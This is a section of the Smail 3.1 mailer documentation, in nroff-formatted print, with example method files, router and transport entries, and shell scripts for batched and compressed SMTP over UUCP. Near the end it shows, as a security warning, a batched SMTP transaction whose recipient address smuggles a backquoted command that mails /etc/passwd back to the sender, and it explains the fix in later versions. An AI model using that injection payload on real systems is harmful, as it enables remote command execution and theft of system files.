





          11..  EExxaammpplleess ooff SSmmaaiill RRuunn--ttiimmee CCoonnffiigguurraattiioonnss

               The  following  sections give examples of run-time con-
          figurations that can be used to extend smail in a variety of
          useful  ways.   In  general the examples do not contain com-
          plete configuration files  and,  as  such,  they  should  be
          merged in to existing configuration files where appropriate.
          When merging in new configuration file entries, keep in mind
          that order is important in the director and router files.

               Many  of the examples shown here, along with other use-
          ful examples, can be found under the SSmmaaiill33..11 source  direc-
          tory _s_a_m_p_l_e_s.

          11..11..  UUssiinngg MMeetthhoodd FFiilleess

               At   the  present  time,  mmeetthhoodd  files  (described  in
          _s_m_a_i_l(5)) can only be used in run-time configuration  files.
          Method  files can be used to define the transport to be used
          on a per-host basis.  An example of a method file is:

               # select the transport on a per-host basis

               # UUCP hosts to which mail should be delivered immediately:
               sun       demand              # our internet gateway
               muts12    demand              # internal machine, dedicated link

               # Hosts to which mail should be delivered immediately with
               # a non-interactive SMTP protocol over UUCP:
               busboy    demand_uusmtp       # gateway to sun network

               # Hosts to which mail should be queued with a non-interactive
               # SMTP protocol over UUCP:
               namei     uusmtp              # experimental Smail3.1 node

               # For other hosts, use normal (queued) uucp mail:
               *         uux                 # all other hosts

          Many of the standard preloaded router entries could be modi-
          fied  to  use this method file to select a transport, rather
          than allowing only one transport per router.  To  make  this
          change, copy the router file corresponding to the pre-loaded
          configuration,  found  in  the  Smail   source   file   _s_a_m_-
          _p_l_e_s_/_g_e_n_e_r_i_c_/_r_o_u_t_e_r_s,  to  the smail LIB_DIR directory, nor-
          mally _/_u_s_r_/_l_i_b_/_s_m_a_i_l.  Remove the generic  attribute  ttrraannss--
          ppoorrtt  and add a generic attribute mmeetthhoodd which points to the
          uucp methods file.  As an example, let's  change  the  ppaatthhss
          router,  described  in the section _T_h_e _P_r_e_l_o_a_d_e_d _R_o_u_t_e_r _C_o_n_-
          _f_i_g_u_r_a_t_i_o_n, and modify it to  use  the  method  file  above.
          After removing the ttrraannssppoorrtt attribute and adding the mmeetthhoodd
          attribute, the router file entry becomes:












                                       -2-


               # paths - route using a paths file, like that produced by the
               # pathalias program
               paths:    driver = pathalias, # general-use paths router
                    method = uucp;      # use "uucp" method file

                    file = paths,       # sorted file containing path info
                    proto = bsearch,    # use a binary search
                    optional,      # ignore if the file does not exist
                    domain = uucp       # strip ending ".uucp" before searching

          Assuming that the  values  for  the  _c_o_n_f_i_g  file  variables
          mmeetthhoodd__ddiirr    and    ssmmaaiill__lliibb__ddiirr   are   ``methods''   and
          ``/usr/lib/smail'' respectively, the above example will  use
          a      method      file      stored      in     the     file
          _/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_m_e_t_h_o_d_s_/_u_u_c_p.

               Method files become  extremely  useful  when  extending
          smail to handle new situations.

          11..22..  UUssiinngg BBaattcchheedd SSMMTTPP EEffffeeccttiivveellyy

               The  transports uuuussmmttpp and ddeemmaanndd__uuuussmmttpp will allow you
          to gain the versatility of the SMTP format, such as  support
          for  arbitrary  addresses,  including  addresses  containing
          quoted characters or white space, and support for a large or
          unlimited  number  of  recipient  addresses per transaction.
          These capabilities are gained by putting an envelope of com-
          mands  around the mail message and shipping the commands and
          the message in one file.  As an example, a mail  message  to
          be delivered to ``cathy@foobar.uucp'' might be sent as:

































                                       -3-


               HELO busboy.uts.amdahl.com
               MAIL FROM: <@busboy.uts.amdahl.com:tron@futatsu.uts.amdahl.com>
               RCPT TO: <cathy@foobar.uucp>
               DATA
               Received: by busboy.uts.amdahl.com id m0d98az-000gtZC;
                    Mon Jun 27 18:45 PDT 1988
               Received: by futatsu.uts.amdahl.com id m0d98ax-0jaZiiC;
                    Mon Jun 27 18:43 PDT 1988
               From: tron@futatsu.uts.amdahl.com (Ronald S. Karr)
               To: cathy@foobar.uucp
               Subject: Hmmm.  It's Email!

               This  is  a  test of the Emergency Email System.  It is
               only a test.  For this and the next  several  lines  we
               will  be  conducting  a test of the networks between my
               machine and your machine.   This  test  is  being  held
               without  the specific knowledge of the network organiz-
               ers on these networks, though with  their  cooperation.
               If  this  had  not  been  a  test,  you would have been
               informed of a restaurant at which you  should  show  up
               immediately  to partake of foodstuffs in the company of
               at least one other person.
               .
               QUIT

          The line beginning  with  ``HELO''  identifies  the  sending
          host,  and the line beginning with ``MAIL FROM:'' identifies
          a return-path to the sender of the mail message.  Any number
          of  recipients  may  be  specified  by giving multiple lines
          beginning with ``RCPT TO:''.  The ``DATA''  command  signals
          that  the  actual  message  follows.   The message continues
          until  a  line  containing  only  a  signal  dot  character.
          Finally the command ``QUIT'' signals the end of the complete
          transaction.

          11..22..11..  BBaattcchhiinngg MMuullttiippllee MMeessssaaggeess iinn OOnnee SSMMTTPP TTrraannssaaccttiioonn

               The SMTP format allows multiple messages to  be  speci-
          fied  in one transaction by repeating everything between the
          ``HELO'' and the ``QUIT'' commands (not including those com-
          mands  themselves)  to  specify the envelope and contents of
          more messages.

               By gathering multiple messages into one  SMTP  transac-
          tion,  transport  of  mail  over UUCP can be made more effi-
          cient.  This reduces overhead in the UUCP protocol  as  well
          as the number of mailer invocations required for mail deliv-
          ery on the remote side.  Unfortunately,  SSmmaaiill33..11  processes
          only  one message at a time, so it cannot, by itself, create
          these multiple-message transaction files.

               However, smail can accumulate messages into a  file  or
          into  a  directory,  using  the aappppeennddffiillee transport driver.
          This allows a shell script or C program outside of smail  to









                                       -4-


          create  batch  jobs to be sent to the uux program.  For ease
          of description, we will do this as a shell script.

               It is somewhat difficult in a shell script  to  perform
          the  file locking primatives required to support the accumu-
          lation of messages into one file, so we will accumulate mes-
          sages  into  a directory, one file per message, and concate-
          nate these files together at intervals.

               First, we need to write a transport file entry that can
          handle  our  needs.   It should write files into a directory
          whose name is based upon the name  of  the  remote  host  to
          which  mail should be delivered.  These files should contain
          an SMTP command envelope containing all  commands  necessary
          for  delivery  except  for  the HELO and QUIT commands.  The
          following transport file entry will accomplish this:

               # accumulate messages into a directory on a per-host basis
               batch_smtp:
                    # the appendfile driver can also accumulate in directories
                    driver=appendfile,
                    hbsmtp;        # half-baked BSMTP, no HELO or QUIT

                    # files whose names begin with `q' will be placed here:
                    dir=/usr/spool/smail/outq/${lc:host},
                    user=cronjobs, # files will be owned by this user
                    mode=0600,     # and unreadable by other users


               When writing files into  a  directory,  the  aappppeennddffiillee
          driver  first  writes  the  file to a temporary file, with a
          name beginning with ``temp.'' and then renames the file to a
          name  beginning  with  the letter `q'.  Thus, a shell script
          can assume that any file whose name begins with  the  letter
          `q'  is  in a consistent state.  The shell script to perform
          the actual delivery, called _b_a_t_c_h_s_m_t_p, is then:



























                                       -5-


               #!/bin/sh
               # deliver messages accumulated into subdirectories of the
               # outq spool directory.  Subdirectory names are based on
               # the actual hostnames involved:

               OUTQ=/usr/spool/smail/outq
               UUX=/usr/bin/uux
               LOCALHOST=busboy.uts.amdahl.com

               cd $OUTQ
               # loop through all of the subdirectories
               for i in *; do (
                    cd $i
                    list=q*        # get the list of message files
                    if [ "$list" = "*" ]; then
                         # no messages were found
                         exit 0    # leave sub-shell
                    fi
                    # send all of the files, adding HELO and QUIT commands
                    (echo "HELO $LOCALHOST"
                     cat $list
                     echo QUIT) | $UUX - $i!rsmtp
                    rm $list
               ); done

               exit 0

          The script above should be run from  cron  periodically,  by
          either of the users _c_r_o_n_j_o_b or _r_o_o_t.  The execution interval
          should be long enough that there will not be any chance that
          two  instances of this script will run concurrently.  Alter-
          nately, the script could be changed  to  loop  indefinitely,
          performing  the  above operations and then sleeping for some
          amount of time, say half an hour.  This would eliminate  any
          potential problems with accidental concurrency.

               It  is  also  possible to send the files over in a com-
          pressed format.  This can substantially reduce the telephone
          costs  incurred  in the transmission of data over modems, in
          exchange for greater usage of CPU time on both sides.   Com-
          pression  can  be  done  by  creating  a shell script on the
          remote end, called _r_c_s_m_t_p (for _R_e_a_d _C_o_m_p_r_e_s_s_e_d _S_M_T_P),  which
          contains the following:

               #!/bin/sh
               # Receive compressed batches of SMTP commands and send them
               # to smail.

               # the following line should be changed to reflect the
               # organization of your system.
               /usr/local/bin/compress -d | /bin/rsmtp
               exit 0

          Then, the _b_a_t_c_h_s_m_t_p shell script should be modified, to form









                                       -6-


          the shell script _c_b_s_m_t_p, so that the pipeline  invoking  the
          uux command is:

                    # compress all of the files, adding HELO and QUIT commands
                    (echo "HELO $LOCALHOST"
                     cat $list
                     echo QUIT) | $COMPRESS | $UUX - $i!rsmtp

          where  the shell variable COMPRESS should be the path to the
          compress program on your system.  If your site does not have
          compress,  it  can  be  obtained  from  a number of sources,
          including the archives on the host uuuunneett..uuuu..nneett.

          11..33..  UUssiinngg tthhee QQuueerryypprrooggrraamm RRoouutteerr DDrriivveerr

               The qquueerryypprrooggrraamm router driver is handy for  performing
          routing  operations  for  which  none of the other available
          drivers are suitable.  This calls upon an  external  program
          to perform routing operations.

               Because  the  qquueerryypprrooggrraamm  driver performs a fork/exec
          operation for each new hostname, it should be used only  for
          prototyping  wherever  possible.  Writing a new driver which
          handles your needs is much more efficient.  However, if  you
          have  a  low  amount of mail traffic, or if you have a dedi-
          cated machine and do not mind the overhead, then this driver
          may  be  reasonable.   To help out somewhat, the driver does
          cache responses so that a list of routing  requests  to  the
          same host will result in only one fork/exec.

               A  simple  case  of  the use of the qquueerryypprrooggrraamm driver
          comes from a need expressed by  one  of  the  administrators
          participating  in the smail alpha testing program.  His site
          has a very large number of UUCP neighbors, and the  overhead
          of using uuuunnaammee to obtain the contents of the entire _S_y_s_t_e_m_s
          file was simply too great.  He wrote  a  command  uuuuiinnffoo  to
          query  a  DBM  database  formed from their _S_y_s_t_e_m_s file.  If
          this command is invoked with the flag  --qq  and  a  sitename,
          then  it  will  return  an exit status of 0 if the site is a
          neighbor and 1 otherwise.  A simple router to use this  pro-
          gram is:

               # use uuinfo to match neighboring hosts:
               use_query:
                    driver = queryprogram,   # query a program for route info
                    transport = uux;         # use this as a default

                    cmd = "/usr/local/bin/uuinfo -q ${lc:host}",
                    domain = uucp


               In  this  case, only the status of neighbor versus non-
          neighbor is obtained.  It is also possible to call a program
          that  returns  a path and a transport.  A simple case, which









                                       -7-


          would be handled more efficiently with a paths database  and
          a  method file uses the following shell script, _q_u_e_r_y_._s_h, to
          perform routing:

               #!/bin/sh
               # The hostname is passed as the first argument, write a path and
               # transport for each host that we match.  Alternately, no transport is
               # output if the default is sufficient.
               case "$1" in

               \[*) # look for internet addresses in square brackets
                    inet=`echo "$1" | sed -n 's/^\[\([0-9.]*\)\]$/[\1]/p'`
                    if [ "$inet" ]; then
                         echo $inet smtp
                    else
                         exit 1
                    fi;;
               foo) echo foo uusmtp;;
               bar) echo foo!bar uusmtp;;
               curds)    echo curds;;
               whey)     echo curds!whey;;
               *)   echo foo!$1 uusmtp;; # send mail for unknown hosts to foo

               esac

               exit 0

          This shell script outputs a path, with  hostnames  separated
          by  the  character  `!', and may also write out a transport,
          separated from the path by space and tab characters.  It can
          match literal internet addresses, stored in square brackets,
          and forwards mail for unknown hosts to the host ``foo''.   A
          router  file  entry  which can make use of this shell script
          is:

               # use query.sh to match hosts
               use_query:
                    driver = queryprogram,        # query a program for route info
                    transport = uux;         # use this as a default

                    cmd = "/bin/sh $smail_lib_dir/query.sh ${lc:host}",
                    domain = uucp, read_transport, read_path

          This entry assumes that the _q_u_e_r_y_._s_h script is stored  under
          the  same directory as smail utilities and run-time configu-
          ration files, normally _/_u_s_r_/_l_i_b_/_s_m_a_i_l.  The shell script  is
          executed as an unprivileged user.

               The  above  example  can be used to point out something
          very important: security is  difficult  to  maintain  in  an
          environment  where shell scripts are executed as a result of
          requests from remote machines.  As it currently stands,  the
          example  above  can  be  used by a remote site to execute an
          arbitrary shell command on the local host, for sites running









                                       -8-


          versions  of  Smail  previous  to SSmmaaiill33..11..33.  To do this, a
          remote user could send the following batched  SMTP  transac-
          tion:

               HELO foo@bar
               MAIL FROM:<foo@bar>
               RPCT TO:<dummy pipe!"`cat /etc/passwd | mail $SENDER`">
               DATA
               Send me the passwd file.
               .
               QUIT

          The  problem  here  is  that  versions  of smail previous to
          SSmmaaiill33..11..33 allow whitespaces in hostnames.   Thus,  for  the
          recipient  address  above,  the  _q_u_e_r_y_._s_h shell script would
          have been invoked with a host of ``dummy pipe'' which  would
          have caused the shell script to return the line:

               foo!dummy pipe uusmtp

          which  would  then  have  caused  the  ppiippee  transport to be
          invoked to run the shell command:

               dummy!"`cat /etc/passwd | mail $SENDER`"

          The command in backquotes here would then cause your  passwd
          file to be returned to the ``foo@bar''.  The version of this
          script in the samples directory takes care of  this  problem
          by explicitly checking for whitespace in the hostname.  Ver-
          sions of Smail starting  with  Smail3.1.3  explicitly  allow
          only  alphanumeric  characters,  and  a small set of special
          characters (dot (`.'), dash (`-'),  underscore  (`_'),  plus
          (`+')  and  equal  (`=')), in hostnames.  In addition, host-
          names are prohibited from beginning with a  dash  character.
          It  should be noted that any characters are still allowed if
          the hostname begins with a left bracket.
























